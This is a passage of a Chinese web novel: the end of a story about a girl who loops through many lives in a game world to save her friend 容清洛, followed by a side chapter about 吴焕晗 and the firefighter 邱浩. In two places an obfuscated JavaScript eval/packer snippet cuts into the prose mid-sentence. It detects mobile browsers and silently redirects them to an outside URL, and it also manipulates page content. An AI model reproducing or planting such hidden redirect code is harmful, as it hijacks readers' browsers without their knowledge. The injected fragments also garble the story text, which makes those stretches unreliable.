这个回答有些蹩脚，但贺溪君选择相信容清洛。 *** 贺溪君本来是想帮助容清洛，改变容清洛死亡的结局。 没想到的是，还未捱到容清洛失去性命的时间点，贺溪君自己先因为在节目中被人霸凌而死掉。 贺溪君以为她小命休矣，没想到竟然重生回了第一次穿进《潜伏在黎明之前》这款游戏的时间节点，再次从她在南庐市儿童福利院的小床上醒来。 看着在她旁边的床上熟睡着的小时候的季希，贺溪君无比庆幸。 她还活着，她们都还有机会。 这一次，贺溪君在上一世的养父母想要领养她时，拒绝了他们。 贺溪君顶着季画的名字，一直陪在季希身边，和季希一起在福利院长大。 季希依旧社恐且内敛。 贺溪君也依旧发挥社牛属性，像一个拽姐校霸一样时时刻刻在季希身边充当着大姐大，护着季希。 不过两人因为年龄差一岁，虽然一直读的是同一所学校，但是并不在同一个年级。 贺溪君读高二时，季希正在读高一。 有一天，贺溪君发现季希在被人霸凌。 她一眼就认出为首的那个女生就是上一世在选秀节目里霸凌她的选手。 季希告诉她，这女生叫林晶。 在学校听过有关林晶的各种传言，贺溪君终于明白林晶为何如此嚣张，原来林晶是林氏集团的大小姐。 这个大小姐上一世肯定是嫉妒她长得美，所以对她动手。 贺溪君看不惯季希被林晶、甄安然、寇依宁等人欺负，带着季希奋起反抗。 这一世，她被林晶在春游时推下南山森林公园文笔峰翠屏岩的悬崖。 贺溪君，卒。 *** 贺溪君再次重生，回到第一次穿进游戏的时间节点——六岁时的福利院。 这是第三世。 贺溪君依旧拒绝领养，与季希一同长大。 中考之后，要填志愿时，贺溪君明白，林晶会给她们带来不幸。 所以必须要想办法避开与林晶的见面。 那么，最好的方法就是不和林晶读同一所高中。 于是在贺溪君的建议下，季希这一世没有选择去南庐市一中，而是和她一起去了另一所市重点高中。 之后季希按部就班地考大学，到省会宁川市参加工作。 贺溪君本以为这样就能使季希避开死亡的厄运。 但这毕竟是《潜伏在黎明之前》的游戏世界。 季希作为一个重要的NPC，在偏离游戏剧情的主线之后，仍然与作为主角的晏行铮相遇了。 机缘巧合之下，季希救下受重伤的晏行铮，因此和晏行铮有了交集。 之后世界线自动修复，季希虽然这一世不叫容清洛，但她依旧多次帮助掩护晏行铮的身份。 最终，季希死在晏行铮的对家手中。 贺溪君为了尽快开启下一世，和那个害死季希的人同归于尽。 *** 再次重生以后，有了前三世的经验，贺溪君终于明白，只要季希能一直活着，不论季希到底叫季希还是容清洛，世界线都会自动修复，使季希遇见晏行铮，然后死亡。 因此贺溪君要想让季希免于死亡的结局，主要发力点还是应该在季希遇见晏行铮之后。 这一世，她想做个实验。 在她不对季希的所有人生选择做出任何干预的情况下，她想知道，季希原本的命运究竟是怎样的。 此次，贺溪君依旧拒绝领养，陪伴季希长大。 但是她没有再建议季希换中考志愿，于是季希进入南庐市一中。 随着时间的不断推进，贺溪君终于明白为何季希会改名成为容清洛。 贺溪君也终于知晓，为何大明星容清洛会和小时候的季希长相完全不一样。 这根本不是长开了能解释的。 季希在山火中毁容，之后做整形修复手术，这才改变了容貌。 而她之所以改身份，换名字，成为容清洛，是因为她要复仇。 原来季希在高中一直遭受校园霸凌。 而始作俑者就是林氏集团的大小姐林晶。 怪不得晏行铮遇见容清洛时，容清洛会是晏行铮潜伏对象林裕的情人。 怪不得容清洛一直帮助晏行铮。 因为容清洛和晏行铮的目标一致。 她要让林氏集团覆灭，要让林晶为曾经的所作所为付出代价。 *** 当知晓季希变成容清洛的原因以及她想要完成的事情之后，贺溪君便再也无法继续作为一个旁观者来观察容清洛的命运。 贺溪君主动加入容清洛，要帮助她一起复仇。 然而复仇之路并不容易。 每一个细微的不同选择，都有可能导致不同的结局。 贺溪君就这样在这个世界里无限循环了许多世，不断地做着实验，尝试着各种各样的不同可能。 千千万万种可能里，贺溪君只有一个愿望，那就是，她想让容清洛活下去。 这么多世里，贺溪君一遍遍陪伴着季希成长为容清洛。 季希对此是没有记忆的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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所以贺溪君必须小心地控制着她参与容清洛人生的量，只在特殊的时间节点远程提供帮助。 *** 贺溪君坚信，清洛只是缺少点运气罢了。 而她，就要为清洛把这点运气补全。 她要做老天送给清洛的最大运气。 贺溪君甚至为此利用好几世的时间，专门学习诸如黑客技术这种能帮上容清洛忙的技能。 有一世，容清洛问贺溪君，为何贺溪君会对自己这般好。 贺溪君把所有一切的真相都告知容清洛。 最后她道：“清洛，无论是在这个游戏世界里，还是在游戏之外的世界里，我都是你的粉丝。” “我可能是这两个世界里最希望你能有一个好结局的人。” “所以你一定要好好活着啊。” 容清洛这时才终于明白，在复仇路上，她一直以为的运气，实际上是她的姐妹在一世又一世里不断地尝试解救她、用反复死亡换来的经验。 她最好的姐妹，在用自己的反复重生，来为她推演出一条最有可能获得完满结局的人生道路。 贺溪君对她这般好。 她又怎么忍心让自己的好姐妹在这样无限循环的死亡中永远沉沦呢？ 于是，那一世，容清洛没有选择继续复仇，而是自杀了。 容清洛以她的血，向这个游戏世界许愿，想要结束贺溪君在游戏世界里的无限循环。 贺溪君就这样来到了她在游戏世界里的最后一世。 这次她没敢再告诉容清洛真相。 贺溪君小心翼翼地只在容清洛复仇的关键节点出现，在暗中不断地引导容清洛和吴焕晗的各种选择，使得容清洛的复仇之舟朝着最平稳、最一帆风顺的方向驶去。 这次真的是容清洛活得最久的一世了。 贺溪君本来以为这次容清洛能一直活下去。 谁能想到会再生波折。 原来容清洛竟然早就有了想要脱离苦海的出离心。 在网暴的催化下，容清洛就这样投江了。 容清洛失去生命的那一刻，贺溪君被一股力量拽出游戏世界，回到自己的书桌前。 看着电脑屏幕，贺溪君发现，距离当初她侵入游戏后台的时间点，才过去了一刻钟。 她摆在一旁闷着的泡面都还热着，正好适合吃。 游戏界面上，容清洛这个角色正望着屏幕外，唇角带着一如既往地风情微笑。 贺溪君满脸泪痕。 谢谢你，愿意为了救我而放弃性命。 我曾经承诺，一定要守护你活下去。 这么多世，我却没能实现这一诺言。 对不起，是我太没用了。 惟愿你在那个世界里一切珍重。 而我，永远会小心安放与你的所有回忆。 你不会真正地走向灭亡。 因为，有我在。 我会铭记你。 166. 吴焕晗番外 「好好读书，别走歪路。」 雪中送炭，你降下恻隐之心。 恋爱合约，汝为吾一生所愿。 // 重逢以后，如果吴焕晗问邱浩，当初他对自己究竟是什么印象。 邱浩一定会回答——小倒霉蛋。 毕竟，人怎么能在短短几个月里，这么倒霉？ 并且每次狼狈的瞬间，都能被他碰到。 此时，邱浩不会想到，这姑娘喜欢她。 更不会预见到，等他牺牲以后—— 她会花费数年时间，为他查出真相，为他向恶人复仇。 *** 邱浩第一次遇见吴焕晗，是在他家门口的小巷边上。 这姑娘被一群女生堵着，模样着实狼狈。 他隔着围墙听见声响，本不欲多管闲事。 最终，他叹口气，到底还是端了一盆水，打开院门将凶神恶煞的阿黄放了出去。 等那群欺软怕硬的女生被吓走，邱浩回屋里翻出药箱。 他提着药箱走到巷口的墙根处时，瞧见女孩儿虽然低着头，脊背却挺得格外直。 邱浩轻声道：“你没事吧？” 刚问出口，邱浩就有些后悔，这话未免有些没心肝。 这样子哪里会没事呢？ 没想到女孩儿抬起头，露出一双格外平静的眼。 邱浩想要说出口的安慰话语就这样滞在嘴边。 女孩儿的声音清冷，但并不冰冷，只听她道：“谢谢关心，不过我想一个人待一会儿。” 邱浩十分理解。 他默默从药箱里取出几样女孩儿用得上的外伤药，搁在女孩儿身侧，便转身离开。 经过拐角处，邱浩忍不住回头。 路灯昏黄的光线罩在女孩儿的周身，她微阖双眼，不知在想些什么。 邱浩叹口气，回到自己的院中，关上院门。 阿黄屁颠屁颠地奔来迎接他，他蹲下来摸了摸阿黄的脑袋，笑道：“怎么办，好像多管闲事了呢。” *** 邱浩第二次遇见吴焕晗是在南庐市一中。 市一中就在南庐市江秀区的文宫街上，作为江秀区消防站的支队队长，站里接到火灾报警电话后，邱浩立即带领队员出警。 在市一中体育馆的负二层，邱浩又一次见到了女孩儿。 显然女孩儿没认出他来。 她将遭遇告诉他们，恳请他们帮忙。 邱浩心里说不出来是什么滋味，这姑娘怎么多灾多难的，每一次相遇，她都陷入在麻烦之中。 他让队员按照女孩儿的请求报警。 可惜，最终没帮上什么忙。 *** 邱浩第三次遇见吴焕晗是在医院。 他在一次出任务时受了点轻伤，到医院换药。 要走的时候恰好赶上高峰期，电梯前排队的人太多，邱浩不耐烦等，便推开楼梯间的门，一层一层地往下走。 突然他脚步微顿，原本在手机屏幕上敲打着回复信息的手也停下来。 刚刚似乎隐隐约约地从楼下传来细微的抽泣声。 此刻这声音已停，也许是因为听到了他的脚步声。 邱浩顿时有些尴尬。 他本想避开，正准备转身往上从这层离开，突然听见重物落地的声音。 邱浩心里还在犹豫，脑中那根救人的神经已经替他做出了抉择。 他向楼下冲去，瞧见一人跌坐在地上正揉着脚踝。 邱浩走近那人，问道：“你没事吧？” 那人应声抬头，露出一张梨花带雨的脸庞，正是已经有了两面之缘的女孩儿。 女孩儿惊讶：“是你？” 未等邱浩说什么，她又笑道：“你怎么每次遇见我，都问我有没有事。” 邱浩心里感到惊喜，面上却不露声色：“哦，你认得我？” “上个月有一天晚上在市一中的体育馆，我们见过的。还有几个月前，有一次在市一中附近的小巷里，你给了我几盒伤药。”女孩儿提醒道。 邱浩作恍然大悟状：“噢，我记得你，胆子很大的小姑娘。” 女孩儿：“邱队长贵人多忘事，我却记得您之前对我和我的朋友施以援手，当时匆忙，今天既然偶遇，我在这里再次向您道谢。” “举手之劳。”邱浩轻笑，接着话语轻顿，似乎在措辞，“不过……” 女孩儿：“不过什么？” 邱浩：“你知道我的名字，我却不知道应该怎么称呼你。” 女孩儿：“我叫吴焕晗。” 邱浩点头记下。 他目光落在吴焕晗的脚踝上：“还能走吗？” 吴焕晗摇头：“我得再缓一缓才成，现在脚动不了。” 邱浩蹲下来：“我带你去找医生。” 吴焕晗其实也不愿意在这里浪费时间，所以并不忸怩，道声谢后便趴在邱浩的背上，被带到骨科诊室。 好在没伤到骨头，医生检查以后，给吴焕晗开了点儿药。 邱浩帮吴焕晗取药回来，见她一个人坐在椅子上发呆，他问道：“怎么，疼得厉害吗？” 吴焕晗回神：“没事，邱队长，今天谢谢您了，已经耽误了您很长时间，您如果有事，就先回吧。” 邱浩：“你这样，一个人能回去吗？我今天休息，可以送你回去。” 吴焕晗：“谢谢您的好意，不过不用送了，我这几天就待在医院。” 联想到今天见面时的情况，邱浩道：“家人在这里住院？” 吴焕晗没说话，只是轻轻点头。 邱浩隔着一个座位坐在吴焕晗旁边，直视着前方来来去去的人群，问道：“今天……为什么哭？” 吴焕晗眼神微闪，没说实话：“脚崴了，疼得慌。” 邱浩犹豫一番，还是扭头看向吴焕晗，说道：“其实，如果是遇到困难了，你可以说说看，指不定我能帮上忙。” 吴焕晗认真地将邱浩的表情审视一番，半晌，才道：“我妈妈需要做手术，但是钱不够。” 邱浩：“差多少？” 吴焕晗用手比了个数。 邱浩：“我可以借给你钱。” 吴焕晗的眼神微变。 沉默中，她深吸一口气，嘴角缓缓上扬撑起一个完美的弧度，短短几秒钟，对她而言，像是一种戴上面具的仪式。 吴焕晗眼波里带着钩子，靠近邱浩：“你想要什么？” 邱浩微愣。 然后他温和地将女孩儿靠近的身体推回到原处，笑笑：“我不想要什么，我只是比较喜欢乐于助人罢了。” 吴焕晗不作声，探究地盯着邱浩的脸。 邱浩轻笑：“如果非要说有什么目的的话，那就是希望你好好读书，别走歪路。” 吴焕晗眼里闪过一丝难堪，她低下头。 邱浩起身：“你等我一下。” 他到问讯处借来纸笔，将自己的电话号码写下来，递给吴焕晗：“不限归还的时间，也不要利息。你考虑一下，想好了可以给我打电话。” 吴焕晗没有接，只是问道：“为什么？” 邱浩：“什么为什么？” 吴焕晗：“为什么帮我？” 邱浩有些无奈，想起和这个小姑娘见到的几面，他又似乎理解了她的心态，只好耐心解释道：“我刚好有点儿闲钱，而你恰好需要。虽然我们只是有过几面之缘的陌生人，但是我觉得，对于祖国的花朵还是能帮就帮。毕竟按道理来说，你现在不该在医院里绝望哭泣，而是应该在教室里好好学习。” 吴焕晗皱眉，不解道：“就是这个原因？” 邱浩反问回去：“你还想要什么原因？” 吴焕晗这才接过写有邱浩电话号码的纸条，说道：“我需要考虑一下，想好了和你打电话。” 邱浩哭笑不得，他这个送钱的怎么倒像是求人的？ 他点点头：“我要走了，你也早点回去吧。” 转身欲走，突然想起什么，邱浩又退回来道：“对了小姑娘，还是要提醒你一下，以后即便是想要向外界求助，最好也不要用烧东西的方式。” 吴焕晗知道他说的是之前体育馆的事情，遂表示：“好的邱队长，不会有下一次的。” 邱浩见吴焕晗答得敷衍，知道她没有听进去，语重心长道：“火这个东西你不了解，掌控不好。连我们这种天天和火打交道的人都很难保证自己次次能全身而退，更何况你。我这样说不是小瞧你，而是在提醒你要小心，不要等造成无法挽回的损失之后再后悔。” 吴焕晗见他说得恳切，确实是为她好，她便也真诚道：“邱队长，我不是不知道危险，只是当时我要救我同学，也没有别的选择。不过我答应你，以后我会用更聪明的方法来解决的。” 邱浩：“你同学如今怎么样了？” 吴焕晗叹口气：“还能怎样？她现在还在医院里躺着呢，倒是始作俑者毫发无伤……” 邱浩：“有我能帮上忙的地方吗？” 吴焕晗：“邱队长，谢谢您，不过当时在体育馆的时候您也看到了，此事恐怕您也无能为力。” 又聊了几句，邱浩便离开了。 *** 没过几天，吴焕晗拨通邱浩的电话。 这是邱浩第四次见吴焕晗。 吴焕晗拿到钱，眼里闪过一丝泪意：“邱队长，谢谢您的雪中送炭，我还钱可能有点慢，但是您相信我，我肯定会还给您的。” 邱浩晃着手里吴焕晗写的欠条，说道：“嗯，相信你，你欠条还在我这儿呢。” 吴焕晗点头，突然也不知道该说什么好。 邱浩想起什么，问道：“不过，你怎么突然相信我是好人了？” 吴焕晗直言道：“我不知道你是不是好人，但我想，你应该不是坏人。” 邱浩摇头道：“刚借给你这么多钱，你个小没良心的。” 吴焕晗笑笑没说话。 邱浩：“行，今天先这样吧。阿姨的手术拖不得，你赶紧拿着钱该干什么干什么去吧。” 吴焕晗：“好。”说着便转身往外跑。 邱浩扬眉，又叫住她：“等等。” 吴焕晗疑惑：“邱队长，您是还有什么事情吗？” 邱浩沉默一会儿才道：“我就是想叮嘱你一句，之后如果还有什么事，不要再一个人躲在楼梯间哭了，你可以给我打电话。帮一次是帮，多帮几次也是帮，我不会袖手旁观的。” 吴焕晗抿嘴：“谢谢您。” 邱浩颔首：“去吧。” *** 吴母的手术很成功。 吴焕时：“姐姐，妈妈以后就可以站起来了吗？” 吴焕晗摸摸弟弟的脑袋，轻轻点头，心底的一块大石头终于放下。 吴母在病床上看着一儿一女，笑得很满足。 她拉过女儿的手：“小晗，这些年苦了你了。” 吴焕晗将手盖在吴母的手上，反包住母亲有些苍老干枯却依旧温暖的手，摇头道：“您能好好的，我就一点儿也不苦。” 吴焕时在一旁插嘴道：“才不是呢，姐姐在学校被欺负……” 吴焕晗拦住弟弟的话，瞪了他一眼：“小时。” 吴焕时立即闭嘴。 姐弟俩的眉眼官司自然逃不过吴母的眼睛，她问道：“你们有什么事在瞒着我？” 眼神在女儿刚毅坚定的神情上扫过，吴母对着儿子道：“小时，你来说。” 吴焕时：“其实我也是今年升到一中初中部才知道的，姐姐一直被她们年级的几个女生霸凌。而且我还发现了姐姐偷偷去药店买的伤药。” 吴母抓过女儿的胳膊，撩起衣袖，瞧见几处伤口愈合后留下的很浅的痕迹，她皱起眉头，又要去撩女儿的裤腿，奈何她靠在病床上，一时够不到，便道：“小晗，把裤腿掀起来，给妈妈看看。” 吴焕晗不愿意：“哎呀妈，你别听小时瞎说，我这不是好好站在这里吗？” 吴母的眼睛一下子就红了：“你现在好好的，不代表你以前好好的。你跟妈说实话，妈这个手术的钱是哪里来的？” 吴焕晗：“不是告诉过您了，是一个好心人借的。” 吴母不放心，担心女儿受委屈，仔细问道：“这人是谁，你们怎么认识的？他为什么这么好心，平白无故借你这么一大笔钱？” 吴焕晗见吴母一副一定要问出结果的模样，只得道：“是一个消防员大哥借给我的。之前有几次被女同学欺负，我被他救过。前段时间我在医院楼梯道哭来着，刚好碰到他，他也许是觉得咱家这个情况挺可怜的，所以日行一善，就把钱借给我了。” 吴母沉默良久，一向柔弱的面容染上几丝坚定：“小晗，小时，你们愿意去齐城吗？” 吴焕晗：“妈，怎么突然说起这个？” 吴母叹口气：“现在妈的腿眼看着就要好了，总要为你们打算。虽然你们都没细说，但是我也能猜出几分。南庐市……是不能待下去了。你们姨妈昨天给我打了个电话，说是这几天要来看我。等她来了，我和她商量商量，把你们姐弟俩带到齐城去……” 吴焕时：“妈，我不走，我要和你在一起。” 吴焕晗附和道：“没错，妈，我们怎么能抛下你，把你一人留在这里？” 吴母露出一抹笑容：“傻孩子，你们不舍得我，我难道舍得你们吗？我当然和你们一起去齐城。” *** 吴家姨妈是一个雷厉风行的人。 前些年她在齐城忙于生计，自顾不暇，疏于和妹妹联络。 时来运转，这两年她家生意小有起色，比往年强上不少，她得空便惦记着自己那个丈夫早亡还带着俩孩子的妹妹，专程来南庐市探亲。 谁想到，吴家姨妈在和妹妹交谈间竟发现这娘仨遭了这么多罪，便生了想把她们接到齐城的念头，她虽没用，到底可以和她们有个照应，也免得她们再受欺负。 吴母和自家姐姐一拍即合，之后便是一刻也等不得地拜托姐姐替自己给孩子们办转学手续。 于是，没过多久，等吴母能下地行走了，她们便从南庐市搬走，到齐城开始新的生活。 *** 高一寒假，有一天，吴家姨妈神神秘秘地把吴焕晗叫出来，给了她一个黑色的小包：“小晗，之前听你说手术费是问别人借的，这里面是钱，你拿去还给人家，尽早把外面欠的债都还清。” 吴焕晗：“姨妈，谢谢您，不过这钱我不能要。您已经帮了我们很多了……” 吴家姨妈：“傻孩子，我们是自家人，这钱你还不还，什么时候还，都好说。但是外人不一样……总之，这钱你拿去，早点还清债务，早点安下心来好好准备高考，这才是正经事。” 于是，隔天吴焕晗便一大早坐火车回南庐市，专程找邱浩还钱。 南庐市与齐城相邻，所以路上没花多久时间，她就抵达南庐市。 下了火车，吴焕晗正往外走，瞧见一个高高瘦瘦的人站在出站口冲她招手。 吴焕晗连忙跑过去，惊诧道：“邱队长，您怎么来了，不是说好在文宫街见吗，我还说去找您呢。” 邱浩领着吴焕晗朝外走：“怕你一个小姑娘出行不安全，来看看。” 吴焕晗从背包里拿出姨妈给的那个小黑包，递给邱浩。 邱浩将小黑包放进自己的包里，把欠条还给吴焕晗。 吴焕晗：“要不找个地方点点数目？” “不用。”邱浩没什么表情。 吴焕晗还想说些什么，就听到邱浩笑道：“要是不够，我会去齐城找你的。” 吴焕晗：“那倒是不必了，肯定是够的，这点诚信我还是有的。” 邱浩：“你胆子倒是大，背着这些东西到处跑。” 吴焕晗笑道：“我一个穷学生，别人哪想到包里会装什么好东西。” 邱浩没在这个话题上过多停留，他看了眼时间，问道：“吃早饭了吗？” 吴焕晗摇头：“一大早赶火车，没来得及吃呢。” 邱浩：“看在你千里送钱的份儿上，走，我请你吃早饭。” 两人在火车站附近找了家面馆，一人点了一碗面。 等面的功夫，邱浩问道：“买回程的票了吗？” 吴焕晗：“买了，我傍晚回。” 邱浩：“那你白天有去处吗？” 吴焕晗：“有的，我和以前的同学约了一起去动物园逛逛。” 邱浩：“闺蜜？” 吴焕晗：“嗯，好久没见了，今天刚好有机会，就聚一下。” 邱浩：“挺好。” 吴焕晗：“邱队长，可以借我用一下电话吗？我想给我同学打个电话。” 邱浩点头，把手机递过去。 这时面馆老板喊道：“两碗牛肉面好了。” 见吴焕晗正在打电话，邱浩示意她坐着，做口型无声道：“我去端。” 邱浩端了两趟，拿好餐具回来时，恰好吴焕晗打完电话，将手机递还给邱浩。 他接过手机：“不多聊几句？” 吴焕晗：“上午就见面了，到时候再聊，我就是和她说一声我已经到南庐了。” 邱浩无言，低头吃饭。 吴焕晗真诚道：“邱队长，现在我相信您是个好人了。” 邱浩挑眉：“是吗，那你看人还挺准。” 吴焕晗：“总之，这次真的谢谢您了，大恩不言谢，以后有什么我能出上力的，您就给我打电话。” 邱浩扯了扯唇，轻笑道：“你好好读书吧，别走歪路就行。” 吴焕晗轻顿几秒才问道：“邱队长，我看着就这么像会走歪路的人吗？” 邱浩的目光在吴焕晗的面容上轻轻扫过，最后道：“确实不太安全。” 吴焕晗愤愤地用筷子搅拌着面：“行，我向您学习，做一个正直、热心、路见不平拔刀相助的好人，绝对不走歪路。” 邱浩：“这样很好。” 吴焕晗见邱浩这回的笑意蔓延进了眼睛，沉思半晌，问道：“邱队长，那天在医院里，如果您遇到的不是我，您也会出手相助吗？” 邱浩：“我会权衡，如果值得，当然会帮。” 吴焕晗：“这么说，您觉得我值得？” 邱浩：“祖国的花朵都值得。” 吴焕晗点头，感慨道：“看来拔刀相助是一种品格，和被帮助的对象无关。” 面很快吃完，两人分别。 *** 从那以后，接下来的高中几年，吴焕晗再没见过邱浩。 时光荏苒，转眼间，吴焕晗考上大学，是一所师范院校，地点在南庐市。 时隔几年，她又一次回到自己长大的这座城市。 课余时间吴焕晗在学校附近的一家咖啡馆兼职。 有一次，她看见了熟悉的身影，惊喜道：“邱队长，好久不见。” 邱浩点点头，似乎对在这里碰到她有些惊讶：“好久不见，长高了。” “那是，”吴焕晗笑道，“邱队长，您是几位？” 邱浩面容露出一丝尴尬：“两位。” 吴焕晗有些奇怪，不过很快她便明白了邱浩为何露出这种表情。 因为邱浩坐着等了一会儿后，咖啡馆又进来一位很漂亮的年轻女士，她坐到了邱浩的对面。 两人聊了一会儿，那位女士便离开了，而邱浩还坐在那里，似乎在回消息。 吴焕晗去收咖啡杯的时候，调侃笑道：“原来邱队长今天是来相亲的？” 邱浩：“嗯。” 吴焕晗：“邱队长，可以问一下您今年贵庚吗？您看起来年纪不大啊，怎么也要相亲……” 邱浩：“二十七。” 吴焕晗：“确实年纪不大呀，是家里人催吗？” 虽然被人这么追根究底地问，邱浩倒是也没有不耐烦，好脾气道：“是呀，家里催，不过我还不太想结婚。” 吴焕晗：“刚刚那个小姐姐看起来很漂亮，您不喜欢吗？” 想到是那个女生先离开的，吴焕晗猜测着：“还是说，她没看上……” 邱浩：“都不是。她有男朋友，只是还没和家里人说，所以今天来走个过场。” 吴焕晗：“哦。” *** 后来，吴焕晗又见过几次邱浩相亲。 有一回，吴焕晗在那女生走后，叫住了想要离开的邱浩：“邱队长，我马上下班了，你能等我一会儿吗？我想和你聊聊。” 邱浩颔首，便又坐回位置。 吴焕晗很快收拾好，和同事打了个招呼，便来喊邱浩：“邱队长，我下班了，走吧。” 两人沿着江边散步。 邱浩：“大学生活怎么样？” 吴焕晗：“还行，就是按部就班地学习和生活。” 邱浩：“挺好。” 见吴焕晗没说话，邱浩主动问道：“你是碰到什么事了吗？需要我帮忙吗？” 吴焕晗正在做心理建设，听到这话，忙道：“没有啊，我没有碰到什么事。” 见邱浩似乎没信，吴焕晗笑道：“其实碰到事情的不是我，反而是你吧。” 邱浩：“我有什么事。” 转而想到自己每次相亲都在这姑娘打工的咖啡馆，好像又没什么可隐瞒的，他点头道：“好吧，确实有点麻烦。” 吴焕晗道：“我是觉得，邱队长，你这么消极怠工地对待催婚和相亲，好像解决不了问题呢。” 邱浩：“你有办法？” 吴焕晗：“当然，不然我今天叫你出来做什么。” 邱浩：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16587008|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说说看。” 吴焕晗：“我可以当你女朋友……” 她话还未说完，就听见邱浩止不住的咳嗽声。 “咳咳咳……”邱浩没想到听到这么一个办法。 果然，他就不该有什么期待。 邱浩：“你今年多大？” 吴焕晗：“我今年已经十九岁，成年了。” 邱浩：“那也不行。”说着快步向前走去，好像背后有什么怪物在追赶他一样。 “你听我说完，”吴焕晗追上邱浩，“我说的是假的，我可以假装当你名义上的女朋友，给你当一阵子挡箭牌。” 邱浩停下脚步：“你有男朋友吗？” “没有啊。”吴焕晗，“而且其实我目前不想谈恋爱，也不想结婚。我当下就想挣钱，然后让我妈、我弟、我自己过上好日子。所以只是名义上的，对我没什么影响。” “况且你以前帮过我，我也没有什么能报答你的地方。现在刚好是一个机会，也算是我对你的感谢吧。” “确实是个好办法。”江水波光粼粼，邱浩眯了眯眼，他扭头看向站在一旁的吴焕晗，认真问道，“不过，你想好了吗？” 吴焕晗：“我自然是想好了才来找你的呀，这一回，换我来帮你咯。” 邱浩：“谢谢。不过也不能耽误你。时间不会太久的，等你有了喜欢的人，告诉我。” 吴焕晗眼神微闪，笑了笑，说道：“好。” 她一直以为她的生活就像深秋一般充满萧瑟的寒意，但是遇见他，让她感觉到了暖阳的温柔，所以如果有机会，她会尽己所能，回报他。 *** 有了吴焕晗当挡箭牌，邱浩总算不用再继续相亲。 父母想要见一见她，邱浩总是说女朋友年纪还小，有点害羞，再等等。 有一次，一个同事非要给邱浩介绍女朋友。 邱浩说自己有女朋友，那人以为是推辞，仍是不遗余力地说服邱浩。 邱浩只好在当晚的同事聚餐中把吴焕晗带上。 一群大小伙子对着吴焕晗喊嫂子的时候，连邱浩自己都唬了一跳。 见邱浩眉毛要挑不挑的样子，吴焕晗忍俊不禁，笑眯眯道：“快别这样叫，你们邱队长害羞了。大家叫我小晗就好。” 一群人起哄，说邱浩脸红了。 邱浩揽着吴焕晗坐到座位上，倒酒敬大家，让大家点到为止。 气氛打开之后，有年龄小的队员凑到吴焕晗身边，八卦地问她队长是怎么追到她的。 吴焕晗瞅了眼正和旁边人聊天的邱浩，说道：“邱队长，他们问我你是怎么追我的呢，要不你来说嘛。” 有人道：“嫂子，怎么还喊邱哥邱队长，多生分。” 另一个人对那人说：“你少说话，这叫情趣懂不懂。” 邱浩瞧出吴焕晗眼底看热闹不嫌事大的笑意，只好开始瞎编：“我对晗晗是一见钟情。那时候，她和同学一起走进咖啡馆，一群人中我一眼就只瞧见她。为了能再遇见她，我连着去了那家咖啡馆一个多星期，后来总算又遇见她。那天刚好下雨，她没带伞，进来躲雨。我主动把伞借给她，她问我之后怎么还伞，我就说加个微信。我俩这才慢慢地有了联系，然后就这样在一起了。” 队员们听后都开始笑起来。 “邱哥，没看出来啊，你还有这一面呢。” “邱哥，你这就是见嫂子长得好看……” 一群人闹哄哄的，你一句我一句，没多久就聚在一起开始拼酒。 吴焕晗看向邱浩。 邱浩：“他们都没有恶意的，你别放在心上。” “我知道。”吴焕晗，“邱队长，你刚说的是真的吗？” 邱浩：“你说呢？” 吴焕晗：“你刚说得一脸认真，让人不得不信。不过，最真实的谎言往往就是虚虚实实、真假参半。所以，你刚刚说的话里，肯定有真话。我说的对吗？” 邱浩拿着酒杯的手指微动。 他道：“继续。” 吴焕晗：“你以前不会真的有个女朋友是这样靠着雨天借伞认识的吧？” 邱浩：“没有。” 吴焕晗：“难道在咖啡馆里你真得……” 邱浩握紧酒杯。 “……一眼就看见我了？”吴焕晗回忆着第一次在咖啡馆遇到邱浩的场景，“我还以为那天是我先看见你的呢，而且本来就是我先和你打招呼的。” 邱浩有些无奈，他说道：“没想到会遇见你，而且你长高了，打扮也变了，所以一时没敢认。犹豫间，你就过来打招呼了，我这才确定自己没有认错人。” 吴焕晗：“果真是一眼就看到我了吗，我有这么显眼？” 邱浩：“没听见刚刚大家都在夸你好看吗？自信一点。” 吴焕晗：“邱队长，没想到你也是这么肤浅的人。” 邱浩认真解释道：“在人群中最亮眼，也不一定就是凭借外貌，还有气质、身高、言谈等等各方面因素。而且其实走在路上的时候，往往一眼扫过去，当我觉得这个人很熟悉、我应该认识的时候，才会仔细去分辨。” 吴焕晗：“那你……” 是对我一见钟情吗？ 这话绕在嘴边，她却有些问不出口。 邱浩没听清楚，凑近道：“你刚说什么？” 这时候有人道：“邱哥，嫂子，你俩别说悄悄话了，有什么话回去说，现在快来跟大家一起玩呀。” 吴焕晗轻笑：“没说什么，他们喊咱们呢。” *** 春去秋来，就这样过去一年，邱浩常常带着吴焕晗参加朋友、同事的聚会。 两人也经常单独出去吃饭。 身边有这样一个“女朋友”的存在，于邱浩而言，似乎已经成为一种习惯。 真情还是假意，有时候，连他自己也分不清了。 有一次邱浩的几个朋友约着去爬山，让带家属。 吴焕晗自然同行。 越往上爬，山路越发陡峭。 邱浩的脚程快，他拉着吴焕晗往上走，两人走在最前面。 瞧见一处凉亭，吴焕晗松开邱浩的手，坐在椅子上就再也不想挪动了，便说道：“不行，我太累了，我就在这里等你们算了。” 邱浩：“实在是爬不动了？” 吴焕晗：“嗯。” 等后面几人跟上来后，邱浩便对其他几个朋友说：“我就不往上爬了，我和晗晗在这里等你们，你们上去吧。” 有人惊诧：“不是吧邱哥，你不是最喜欢爬山了嘛？马上就到山顶了，真的不上去了？” 邱浩：“你们去吧。” 待几人走远，两人坐在凉亭里有一搭没一搭地聊起天来。 邱浩：“最近在学校怎么样？” 吴焕晗：“还行。除了课有点多以外，其他没什么。” 邱浩：“学校里有喜欢的男生吗？” “没有啊。”吴焕晗一脸莫名，她狐疑地盯着邱浩的脸，“邱队长，为什么你每隔一段时间就要问我一遍这个问题？” 邱浩：“怕你不好意思提。” 吴焕晗不太明白：“什么？” 